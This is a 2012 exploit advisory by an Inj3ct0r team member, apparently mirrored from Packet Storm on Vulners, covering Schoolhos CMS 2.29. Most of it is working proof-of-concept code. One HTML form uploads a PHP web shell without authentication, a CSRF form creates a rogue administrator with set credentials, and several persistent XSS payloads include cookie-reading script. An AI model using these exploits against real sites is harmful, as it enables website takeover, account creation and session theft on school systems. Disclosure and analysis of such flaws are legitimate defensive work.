Vulners
Lucene search
CMS Schoolhos 2.29 Cross Site Request Forgery / Cross Site Scripting / Shell Upload
🗓️ 27 Jun 2012 00:00:00Reported by the_cyber_nuxbieType 
packetstorm🔗 packetstormsecurity.com👁 27 Views
` 1=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 0
0 [x] Official Website: http://www.1337day.com 1
1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 0
0 1
1 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 0
0 I'm NuxbieCyber Member From Inj3ct0r TEAM 1
1 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
«««:»»» CMS Schoolhos - Multiple Vulnerability «««:»»»
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
./Title Exploit : CMS Schoolhos - Multiple Vulnerability
./CMS Version : Schoolhos - Version 2.29 (Last Version).
./Software Link : www.schoolhos.com
./Category XPL : [ WebApps/ZeroDay ]
./Security Risk : [ Critical Level ]
./Time & Date : June, 26 2012. 08:33 AM, Solo Raya, Indonesian.
./System Tested : Windows 7 Ultimate, Firefox 9.0.1, Xampp-win32-1.7.3
./Discovered By : -=[ TheCyberNuxbie - Independent Security Research ]=-
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
||| -=[ Use It At Your Risk ]=- |||
||| This Was Written For Educational Purpos Only |||
||| Author Will Be Not Responsible For Any Damage |||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
#################################################################################
# - POC:
# 1.1 Exploit - Remote Arbitrary File Upload.
# 1.2 Exploit - CSRF (Add Admin).
# 1.3 Exploit - Presistent XSS.
#################################################################################
#
# - Information Details:
# Schoolhos CMS - Free Opensource CMS for education website.
# Content Management System (CMS) Made In Indonesia.
# http://www.schoolhos.com
#
#################################################################################
#
# 1.1 Exploit - Remote Arbitrary File Upload:
#
# - Security Risk Critical...!!!
# All Users (not registered) Allowed upload all ext files with Script Remote File Upload.
# Attacker allow upload shell-backdoor.php (frontend).
#
# <html>
# <head>
# <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
# <title>CMS Schoolhos - Remote Arbitrary File Upload</title>
# </head>
# <body>
# <form method="POST" action="http://127.0.0.1/schoolhos/elearningku/proses.php?pilih=guru&untukdi=upload" enctype="multipart/form-data" name="tambahmapel" id="tambahmapel">
# <input type="file" name="fupload">
# <input type="submit" class="tombol" value="Upload">
# </form>
# </body>
# </html>
#
# [ End Of Code ]
#
# - If Success, Redirect To Index & Files Upload Location at ../schoolhos/file/materi/name-file(.ext)
# http://127.0.0.1/schoolhos/file/materi/shell-backdoor.php <--- [ Your Files ]
#
# - Security Risk Critical...!!!
# All Users (not registered) Allowed upload all ext files with Script Remote File Upload.
#
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#
# 1.2 Exploit - CSRF (Add Admin):
#
# <html>
# <head>
# <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
# <title>CMS Schoolhos - CSRF Add Admin Exploit</title>
# </head>
# <body>
# <form method='POST' action="http://127.0.0.1/schoolhos/adminpanel/aplikasi/database/admin.php?pilih=admin&untukdi=tambah" name='tambahadmin' id='tambahadmin' >
# <input type="hidden" name="nama_admin" value="nuxbie" class="sedang">
# <input type="hidden" name="username" value="nuxbie" class="sedang">
# <input type="hidden" name="email" value="[email protected]" class="sedang">
# <input type="hidden" name="password" value="nuxbie123" class="sedang">
# <input type="hidden" name="password_lagi" value="nuxbie123" class="sedang">
# <input type="submit" class="pencet" value="Tambahkan">
# <input type="reset" class="hapus" value="Reset">
# </form>
# </body>
# </html>
#
# [ End Of Code ]
#
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#
# 1.3 Exploit - Presistent XSS:
#
# - [ Sample Script XSS ]
# <script>alert('31337');</script>
# <script>alert(document.cookie);</script>
# <script>window.open("http://www.1337day.com/")</script>
# ,etc...
#
# - Go To Page: http://127.0.0.1/schoolhos/index.php?p=detberita&id=xxx
# Post your comment XSS In any of the text fields.
# For this we used the captcha verification for the following messege.
#
# - Input Verification "captcha"...
# "Kirim" (send this messege)
#
# - Affected Items (Presistent XSS):
# - Then if a USERS & ADMIN visits your page module "detberita&id" & "komentar.php". The Script XSS Will Be Execute.
# http://127.0.0.1/schoolhos/index.php?p=detberita&id=xxx <--- Users Post XSS (frontend).
# http://127.0.0.1/schoolhos/adminpanel/komentar.php <--- If Admin View This Page, The Script Will Execute. (backend)
# http://127.0.0.1/schoolhos/index.php?p=detberita&id=xxx <--- If Users View This Page (approve) The Script Will Execute. (frontend)
#
# +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#
# - Special Thanks:
# ...:::' 1337day - Inj3ct0r TEAM ':::...
# BoSs r0073r & All 31337 Member Inj3ct0r TEAM,,,
# , And All Inj3ct0r Fans & All Hacktivist,,,
#
# xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx[ Thanks For All ]xxxxxxxxxxxxxxxxxxxxxxxxxxxxx #
# [ Inj3ct0r | PacketStromSecurity | Exploit-ID | Devilzc0de | SekuritiOnline ] #
# [ Codenesia | ID-BackTrack | IndonesianCoder | IndonesianHacker | JatimCrew ] #
# [ E-C-H-O | ExploreCrew | Hacker-Newbie | Jasakom | YogyaCarderLink ./etc.. ] #
# -------------------[ We Are c0d3rs And We Are An Exploit ]------------------- #
# [ r0073r, Sid3^effects, r4dc0re, CrosS, SeeMe, indoushka, KnocKout, ZoRLu ] #
# [ anT!-Tr0J4n, KedAns-Dz, Kalashinkov3, Angel Injection, Sammy FORGIT, NoGe ] #
# [ cr4wl3r, n0n0x, cyberlog, eidelweiss, v3n0m, g3mb3lz_YCL, Hmei7, kaMtiEz ] #
# [ y3dips, K-159, the_day, k1tk4t, mywisdom, Flyff666, ketek_b374k, Elmonny ] #
# [ jos_ali_joe, vYc0d, Cyberbag0r, SeekerUnZero, Dencowbie, Alex_Maxsum41 ] #
# [ Teh Nofia, Teh Mawar, Teh Zuzzeta, Teh AfniGates, Chibie Reanaey ,etc... ] #
#################################################################################
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Jun 2012 00:00Current
0.4Low risk
Vulners AI Score0.4